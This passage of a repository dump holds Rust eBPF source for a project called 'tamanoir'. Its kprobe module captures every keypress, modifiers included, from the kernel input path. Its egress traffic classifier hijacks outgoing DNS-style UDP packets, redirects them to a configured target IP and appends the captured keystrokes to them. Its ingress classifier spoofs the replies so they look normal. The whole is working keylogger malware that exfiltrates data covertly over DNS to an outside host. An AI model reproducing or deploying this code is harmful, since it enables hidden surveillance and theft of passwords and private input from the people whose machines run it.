Clone)]\n#[repr(C)]\npub struct KeyEvent {\n pub layout: u8, // 0:qwerty 1: azerty\n pub key: u8,\n}\n#[map]\npub static DATA: Queue = Queue::with_max_entries(4096, 0);\n\npub enum UpdateType {\n Src,\n Dst,\n}\n\npub fn update_addr(\n ctx: &mut TcContext,\n old_be: &u32,\n new_be: &u32,\n update_type: UpdateType,\n) -> Result<(), i64> {\n let offset = match update_type {\n UpdateType::Src => {\n debug!(ctx, \"updating src addr\");\n IP_SRC_ADDR_OFFSET\n }\n UpdateType::Dst => {\n debug!(ctx, \"updating dst addr\");\n IP_DEST_ADDR_OFFSET\n }\n };\n ctx.store(offset, new_be, 0).map_err(|_| {\n error!(ctx, \"error writing new address \");\n -1\n })?;\n debug!(\n ctx,\n \"update addr: {} => {} \",\n u32::from_be(*old_be),\n u32::from_be(*new_be)\n );\n\n ctx.l3_csum_replace(IP_CSUM_OFFSET, *old_be as u64, *new_be as u64, 4)\n .map_err(|_| {\n error!(ctx, \"error: l3_csum_replace\");\n -1\n })?;\n Ok(())\n}\n\npub fn _update_port(\n ctx: &mut TcContext,\n old_be: &u16,\n new_be: &u16,\n update_type: UpdateType,\n) -> Result<(), i64> {\n let offset = match update_type {\n UpdateType::Src => {\n info!(ctx, \"updating src port\");\n UDP_OFFSET\n }\n UpdateType::Dst => {\n info!(ctx, \"updating dst port\");\n UDP_DEST_PORT_OFFSET\n }\n };\n debug!(\n ctx,\n \"update port: {} => {} at the offset {}\",\n u16::from_be(*old_be),\n u16::from_be(*new_be),\n offset\n );\n ctx.store(offset, new_be, 0).map_err(|_| {\n error!(ctx, \"error writing new port\");\n -1\n })?;\n\n Ok(())\n}\n\npub fn update_udp_hdr_len(ctx: &mut TcContext, new_be: &u16) -> Result<(), i64> {\n debug!(ctx, \"updating udphdr len:\");\n ctx.store(UDP_LEN_OFFSET, new_be, 0).map_err(|_| {\n error!(ctx, \"error writing new udp hdr len \");\n -1\n })?;\n Ok(())\n}\n\npub fn update_ip_hdr_tot_len(ctx: &mut TcContext, old_be: &u16, new_be: &u16) -> Result<(), i64> {\n debug!(ctx, \"updating iphdr tot len:\");\n ctx.store(IP_TOT_LEN_OFFSET, new_be, 0).map_err(|_| {\n error!(ctx, \"error writing iphdr tot len \");\n -1\n })?;\n ctx.l3_csum_replace(IP_CSUM_OFFSET, *old_be as u64, *new_be as u64, 4)\n .map_err(|_| {\n error!(ctx, \"error: l3_csum_replace\");\n -1\n })?;\n\n Ok(())\n}\n\npub fn inject_keys(\n ctx: &mut TcContext,\n offset: usize,\n payload: [u8; KEYS_PAYLOAD_LEN],\n) -> Result<(), i32> {\n for (idx, k) in payload.iter().enumerate() {\n ctx.store(offset + idx, &k.to_be(), 0).map_err(|_| {\n error!(ctx, \"error injecting payload\");\n -1\n })?;\n }\n Ok(())\n}\n\npub fn load_bytes(ctx: &mut TcContext, offset: usize, dst: &mut [u8]) -> Result {\n let len = usize::try_from(ctx.skb.len()).map_err(|core::num::TryFromIntError { .. }| -1)?;\n let len = len.checked_sub(offset).ok_or(-1)?;\n let len = len.min(dst.len());\n if len == 0 {\n return Err(-1);\n }\n debug!(ctx, \"loading {} bytes\", len);\n\n let len_u32 = u32::try_from(len).map_err(|core::num::TryFromIntError { .. }| -1)?;\n let ret = unsafe {\n bpf_skb_load_bytes(\n ctx.skb.skb as *const _,\n offset as u32,\n dst.as_mut_ptr() as *mut _,\n len_u32,\n )\n };\n if ret == 0 {\n Ok(len)\n } else {\n Err(ret)\n }\n}\n\npub fn store_bytes(\n ctx: &mut TcContext,\n offset: usize,\n src: &[u8],\n flags: u64,\n) -> Result {\n let len = usize::try_from(ctx.skb.len()).map_err(|core::num::TryFromIntError { .. }| -1)?;\n let len = len.checked_sub(offset).ok_or(-1)?;\n let len = len.min(src.len());\n\n let len_u32 = u32::try_from(len).map_err(|core::num::TryFromIntError { .. }| -1)?;\n if len_u32 == 0 {\n return Err(-1);\n }\n\n debug!(ctx, \"storing {} bytes\", len_u32);\n unsafe {\n let ret = bpf_skb_store_bytes(\n ctx.skb.skb as *mut _,\n offset as u32,\n src as *const _ as *const _,\n len_u32,\n flags,\n );\n if ret == 0 {\n Ok(len)\n } else {\n Err(ret)\n }\n }\n}\n" }, { "path": "tamanoir-ebpf/src/egress.rs", "content": "use core::net::Ipv4Addr;\n\nuse aya_ebpf::{\n bindings::TC_ACT_PIPE,\n macros::{classifier, map},\n maps::PerCpuArray,\n programs::TcContext,\n};\nuse aya_log_ebpf::{debug, error, info};\nuse network_types::{\n eth::{EthHdr, EtherType},\n ip::{IpProto, Ipv4Hdr},\n udp::UdpHdr,\n};\n\nuse crate::common::{\n inject_keys, load_bytes, store_bytes, update_addr, update_ip_hdr_tot_len, update_udp_hdr_len,\n UpdateType, BPF_ADJ_ROOM_NET, DATA, DNS_PAYLOAD_MAX_LEN, DNS_QUERY_OFFSET, HIJACK_IP,\n KEYS_EVENTS_LEN, KEYS_PAYLOAD_LEN, TARGET_IP, UDP_DEST_PORT_OFFSET, UDP_OFFSET,\n};\n\npub struct Buf {\n pub buf: [u8; DNS_PAYLOAD_MAX_LEN + KEYS_PAYLOAD_LEN],\n}\n\n#[map]\npub static DNS_BUFFER: PerCpuArray = PerCpuArray::with_max_entries(1, 0);\n\n#[classifier]\npub fn tamanoir_egress(mut ctx: TcContext) -> i32 {\n match tc_process_egress(&mut ctx) {\n Ok(ret) => ret,\n Err(_) => TC_ACT_PIPE,\n }\n}\n\nfn read_keys() -> [u8; KEYS_PAYLOAD_LEN] {\n let mut res = [0u8; KEYS_PAYLOAD_LEN];\n for k in 0..KEYS_EVENTS_LEN {\n let item = DATA.pop().unwrap_or_default();\n res[2 * k] = item.layout;\n res[2 * k + 1] = item.key;\n }\n res\n}\n\nfn tc_process_egress(ctx: &mut TcContext) -> Result {\n let target_ip: u32 = unsafe { core::ptr::read_volatile(&TARGET_IP) };\n let hijack_ip: u32 = unsafe { core::ptr::read_volatile(&HIJACK_IP) };\n let ethhdr: EthHdr = ctx.load(0)?;\n if let EtherType::Ipv4 = ethhdr.ether_type {\n let header = ctx.load::(EthHdr::LEN)?;\n let addr = header.dst_addr;\n if let IpProto::Udp = header.proto {\n if u32::from_be(addr) == hijack_ip {\n info!(ctx, \"\\n-----\\nNew intercepted request:\\n-----\");\n\n let udp_hdr = &ctx.load::(UDP_OFFSET)?;\n debug!(\n ctx,\n \"{}:{} -> {}:{}\",\n Ipv4Addr::from_bits(u32::from_be(header.src_addr)),\n u16::from_be(udp_hdr.source),\n Ipv4Addr::from_bits(u32::from_be(header.dst_addr)),\n u16::from_be(udp_hdr.dest),\n );\n let dns_payload_len = (ctx.len() as usize)\n .checked_sub(DNS_QUERY_OFFSET)\n .ok_or(-1)?;\n\n if dns_payload_len < DNS_PAYLOAD_MAX_LEN {\n let keys = read_keys();\n debug!(ctx, \"Fetch keys from the queue\");\n\n let buf = unsafe {\n let ptr = DNS_BUFFER.get_ptr_mut(0).ok_or(-1)?;\n &mut (*ptr).buf\n };\n load_bytes(ctx, DNS_QUERY_OFFSET, buf)?;\n\n update_addr(ctx, &addr, &target_ip.to_be(), UpdateType::Dst)?;\n update_ip_hdr_tot_len(\n ctx,\n &header.tot_len,\n &(u16::from_be(header.tot_len) + KEYS_PAYLOAD_LEN as u16).to_be(),\n )?;\n\n //make room\n debug!(ctx, \"adjust room\");\n ctx.skb\n .adjust_room(KEYS_PAYLOAD_LEN as i32, BPF_ADJ_ROOM_NET, 0)\n .inspect_err(|_| {\n error!(ctx, \"error adjusting room\");\n })?;\n\n // move udp header\n let udp_hdr_bytes = ctx.load::<[u8; 8]>(UDP_OFFSET + KEYS_PAYLOAD_LEN)?;\n store_bytes(ctx, UDP_OFFSET, &udp_hdr_bytes, 0)?;\n\n update_udp_hdr_len(\n ctx,\n &(u16::from_be(udp_hdr.len) + KEYS_PAYLOAD_LEN as u16).to_be(),\n )?;\n\n //move dns payload\n let buf = unsafe {\n let ptr = DNS_BUFFER.get_ptr(0).ok_or(-1)?;\n &(*ptr).buf\n };\n debug!(ctx, \"injecting dns payload @{} \", DNS_QUERY_OFFSET);\n store_bytes(ctx, DNS_QUERY_OFFSET, buf, 0)?;\n inject_keys(ctx, DNS_QUERY_OFFSET + dns_payload_len, keys)?;\n\n //set current csum to 0\n ctx.store(crate::common::UDP_CSUM_OFFSET, &0u16, 2)\n .map_err(|_| {\n error!(ctx, \"error zeroing L4 csum\");\n -1\n })?;\n\n info!(\n ctx,\n \" {}:{} -> {}:{}\",\n Ipv4Addr::from_bits(u32::from_be(\n (ctx.load::(EthHdr::LEN).unwrap()).src_addr,\n )),\n u16::from_be(ctx.load::(UDP_OFFSET).unwrap()),\n Ipv4Addr::from_bits(u32::from_be(\n (ctx.load::(EthHdr::LEN).unwrap()).dst_addr\n )),\n u16::from_be(ctx.load::(UDP_DEST_PORT_OFFSET).unwrap())\n );\n };\n }\n };\n }\n\n Ok(TC_ACT_PIPE)\n}\n" }, { "path": "tamanoir-ebpf/src/ingress.rs", "content": "use core::net::Ipv4Addr;\n\nuse aya_ebpf::{\n bindings::{TC_ACT_OK, TC_ACT_PIPE},\n macros::classifier,\n programs::TcContext,\n};\nuse aya_log_ebpf::{error, info};\nuse network_types::{\n eth::{EthHdr, EtherType},\n ip::{IpProto, Ipv4Hdr},\n};\n\nuse crate::common::{\n update_addr, UpdateType, HIJACK_IP, IP_SRC_ADDR_OFFSET, TARGET_IP, UDP_CSUM_OFFSET, UDP_OFFSET,\n};\n\n#[classifier]\npub fn tamanoir_ingress(mut ctx: TcContext) -> i32 {\n match tc_process_ingress(&mut ctx) {\n Ok(ret) => ret,\n Err(_) => TC_ACT_PIPE,\n }\n}\n\n#[inline]\nfn tc_process_ingress(ctx: &mut TcContext) -> Result {\n let target_ip: u32 = unsafe { core::ptr::read_volatile(&TARGET_IP) };\n let hijack_ip: u32 = unsafe { core::ptr::read_volatile(&HIJACK_IP) };\n\n let ethhdr: EthHdr = ctx.load(0)?;\n if let EtherType::Ipv4 = ethhdr.ether_type {\n let header = ctx.load::(EthHdr::LEN)?;\n let addr = header.src_addr;\n if let IpProto::Udp = header.proto {\n if u32::from_be(addr) == target_ip {\n info!(ctx, \"\\n-----\\nNew intercepted request:\\n-----\");\n let udp_port = &ctx.load::(UDP_OFFSET)?;\n update_addr(ctx, &addr, &hijack_ip.to_be(), UpdateType::Src)?;\n // necessary on some when sockopt SO_NO_CHECK isn't set\n ctx.l4_csum_replace(UDP_CSUM_OFFSET, addr as u64, hijack_ip as u64, 4)\n .map_err(|_| {\n error!(ctx, \"error: l4_csum_replace\");\n -1\n })?;\n\n info!(\n ctx,\n \"{}:{} -> {}:{}\",\n Ipv4Addr::from_bits(u32::from_be(addr)),\n u16::from_be(*udp_port),\n Ipv4Addr::from_bits(u32::from_be(ctx.load::(IP_SRC_ADDR_OFFSET).unwrap())),\n u16::from_be(ctx.load::(UDP_OFFSET).unwrap()),\n );\n }\n };\n }\n\n Ok(TC_ACT_OK)\n}\n" }, { "path": "tamanoir-ebpf/src/kprobe.rs", "content": "use core::mem;\n\nuse aya_ebpf::{\n macros::{kprobe, map},\n maps::HashMap,\n programs::ProbeContext,\n};\nuse aya_log_ebpf::debug;\n\nuse crate::common::{KeyEvent, DATA, KEYBOARD_LAYOUT};\nconst KEY_EVENT: u32 = 1;\nconst KEY_CODE_MAX: u8 = u8::MAX;\n\n#[derive(Clone, Copy)]\n#[repr(u8)]\nenum Modifiers {\n LCtrl = 29,\n LShift = 42,\n RShift = 54,\n Alt = 56,\n Altgr = 100,\n}\nimpl Modifiers {\n pub const LEN: usize = mem::size_of::();\n pub fn variants() -> &'static [Modifiers] {\n &[\n Modifiers::LCtrl,\n Modifiers::LShift,\n Modifiers::RShift,\n Modifiers::Alt,\n Modifiers::Altgr,\n ]\n }\n pub fn from_id(id: u8) -> Option {\n match id {\n 29 => Some(Self::LCtrl),\n 42 => Some(Self::LShift),\n 54 => Some(Self::RShift),\n 56 => Some(Self::Alt),\n 100 => Some(Self::Altgr),\n _ => None,\n }\n }\n}\n\n#[map]\npub static MODIFIERS_STATE: HashMap =\n HashMap::::with_max_entries(Modifiers::LEN as u32, 0);\n\n#[kprobe]\npub fn tamanoir_kprobe(ctx: ProbeContext) -> u32 {\n match kprobe_process(ctx) {\n Ok(ret) => ret,\n Err(ret) => ret,\n }\n}\n\nfn kprobe_process(ctx: ProbeContext) -> Result {\n let layout: u8 = unsafe { core::ptr::read_volatile(&KEYBOARD_LAYOUT) };\n let event_type: u32 = ctx.arg(1).ok_or(0u32)?;\n let code: u32 = ctx.arg(2).ok_or(0u32)?;\n let value: u32 = ctx.arg(3).ok_or(0u32)?;\n\n if event_type == KEY_EVENT && code <= KEY_CODE_MAX as u32 {\n let code = code as u8;\n if Modifiers::from_id(code).is_some() {\n match value {\n 0 => MODIFIERS_STATE.remove(&code).map_err(|_| 1u32)?,\n 1 => MODIFIERS_STATE.insert(&code, &1, 0).map_err(|_| 1u32)?,\n _ => {}\n }\n } else {\n match value {\n 0 => {}\n _ => {\n for modifier in Modifiers::variants() {\n let modifier = *modifier as u8;\n if unsafe { MODIFIERS_STATE.get(&modifier) }.is_some() {\n debug!(&ctx, \"mod: {} +\", modifier);\n let e = KeyEvent {\n layout,\n key: modifier,\n };\n let _ = DATA.push(&e, 0);\n }\n }\n debug!(&ctx, \"key: {}\", code);\n let e = KeyEvent { layout, key: code };\n let _ = DATA.push(&e, 0);\n }\n }\n }\n }\n\n Ok(0)\n}\n" }, { "path": "tamanoir-ebpf/src/lib.rs", "content": "#![no_std]\n\nmod kprobe;\n\nmod ingress;\n\nmod egress;\n\nmod common;\n" }, { "path": "tamanoir-ebpf/src/main.rs", "content": "#![no_std]\n#![no_main]\n\npub mod kprobe;\n\npub mod ingress;\n\npub mod egress;\n\npub mod common;\n\n#[panic_handler]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n unsafe { core::hint::unreachable_unchecked() }\n}\n" } ]